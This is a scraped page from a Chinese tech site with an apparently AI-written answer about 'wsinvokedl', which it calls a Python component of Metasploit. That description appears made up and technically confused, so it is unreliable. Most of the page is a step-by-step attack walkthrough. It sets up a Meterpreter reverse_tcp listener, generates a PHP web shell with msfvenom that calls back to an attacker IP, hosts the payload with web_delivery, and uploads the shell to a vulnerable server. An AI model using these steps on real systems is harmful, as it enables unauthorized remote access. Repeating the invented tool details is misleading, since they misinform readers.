杰瑞科技汇

wsinvokedl Python是什么?如何使用?

Of course! Let's break down wsinvokedl in the context of Python.

wsinvokedl Python是什么?如何使用?-图1
(图片来源网络,侵删)

What is wsinvokedl?

wsinvokedl is a Python script that is part of the Metasploit Framework. It is not a standard library or a standalone tool you would install with pip. It's an internal component used by the Metasploit payload generator.

Its name is a descriptive acronym:

  • ws: Stands for WebShell. It's designed to generate a payload that creates a web shell.
  • invoke: This indicates that the generated code will "invoke" or execute a command on the target system.
  • dl: Stands for Download. The primary function of this script is to generate code that downloads and executes a file from a remote server.

Core Purpose and Functionality

The main job of wsinvokedl.py is to generate a small snippet of code (typically in a language like PHP, ASP, or JSP) that, when placed on a vulnerable web server, will:

  1. Act as a Web Shell: It can be accessed via a web browser (e.g., http://<target-server>/shell.php).
  2. Download a Payload: It will connect to a remote server (controlled by you, the attacker) and download a second-stage file.
  3. Execute the Payload: It will run the downloaded file, which is usually a full-featured Meterpreter or reverse shell payload.
  4. Establish a Connection: The executed payload will then connect back to your Metasploit listener, giving you a full-featured session on the target machine.

This is a two-stage attack:

wsinvokedl Python是什么?如何使用?-图2
(图片来源网络,侵删)
  • Stage 1: The small, easily concealable web shell (wsinvokedl's output).
  • Stage 2: The powerful, feature-rich Metasploit payload that gets downloaded and run.

How to Use wsinvokedl in Metasploit

You will almost never interact with wsinvokedl.py directly. Instead, you use it through the Metasploit command line interface (msfconsole).

The most common way to use it is with the msfvenom tool, which is Metasploit's payload generation utility.

Step-by-Step Example

Let's say you have a web server with a PHP upload vulnerability and you want to gain a Meterpreter session.

Set up your Metasploit Listener

wsinvokedl Python是什么?如何使用?-图3
(图片来源网络,侵删)

First, you need a listener ready to receive the connection from the payload you're about to generate. A meterpreter/reverse_tcp payload is common.

msfconsole
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.1.10  # Your attacking machine's IP
msf6 exploit(multi/handler) > set LPORT 4444          # A port to listen on
msf6 exploit(multi/handler) > exploit -j -z
  • -j: Run the job in the background.
  • -z: Do not interact with the session after it's created.

Generate the Web Shell Payload using msfvenom

Now, generate the PHP code that contains the download-and-execute logic. This is where wsinvokedl's functionality is used under the hood.

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f raw -o shell.php

Let's break down this command:

  • -p php/meterpreter/reverse_tcp: This specifies the final payload you want. Metasploit is smart enough to know that for a PHP target, it needs to generate a two-stage payload.
  • -f raw: This tells msfvenom to output the raw PHP code, without any extra wrapper formatting.
  • -o shell.php: This saves the generated code into a file named shell.php.

If you open shell.php, you won't see clean PHP code. It will be heavily obfuscated to evade basic security scans. This obfuscated code is the result of the wsinvokedl logic, which handles the download and execution.

Host the Payload and the Web Shell

  • Host the final payload: The meterpreter/reverse_tcp payload itself needs to be hosted on a web server so the web shell can download it. Metasploit's web_delivery module is perfect for this.

    msf6 > use exploit/multi/web_delivery
    msf6 exploit(multi/web_delivery) > set TARGET 2 # For PHP
    msf6 exploit(multi/web_delivery) > set PAYLOAD php/meterpreter/reverse_tcp
    msf6 exploit(multi/web_delivery) > set LHOST 192.168.1.10
    msf6 exploit(multi/web_delivery) > set LPORT 8080
    msf6 exploit(multi/web_delivery) > exploit

    This module will give you a URL like http://192.168.1.10:8080/....

  • Modify the generated shell: You need to edit the shell.php file generated in step 2 and tell it the URL of the payload from the web_delivery module. You'll find a line like @$_REQUEST[... and you need to set the URL within it. (Note: Modern Metasploit often handles this step automatically, but it's good to know).

Deploy the Web Shell

Upload the modified shell.php to your vulnerable target server.

Execute and Get the Session

Navigate to http://<target-server>/shell.php in your browser. The script will run, download the Meterpreter payload from your web_delivery server, and execute it.

Your listener (handler) from Step 1 will receive the connection, and you'll have a full Meterpreter session.


Summary: wsinvokedl vs. msfvenom

Feature wsinvokedl.py (The Script) msfvenom (The Tool)
What it is A Python script inside the Metasploit codebase. A command-line utility for generating Metasploit payloads.
How you use it You don't. It's an internal component. You use it constantly from the command line.
Purpose To generate the specific code for a "download and execute" web shell. To generate any kind of Metasploit payload (shellcode, executable, web shell, etc.).
Relationship msfvenom uses the logic from wsinvokedl (and others) when you ask for a two-stage web shell payload. msfvenom is the user-friendly front-end that calls scripts like wsinvokedl behind the scenes.

In short, wsinvokedl is the engine that makes the "download and execute" web shell payloads possible in Metasploit, while msfvenom is the steering wheel you use to tell that engine what to build.

分享:
扫描分享到社交APP
上一篇
下一篇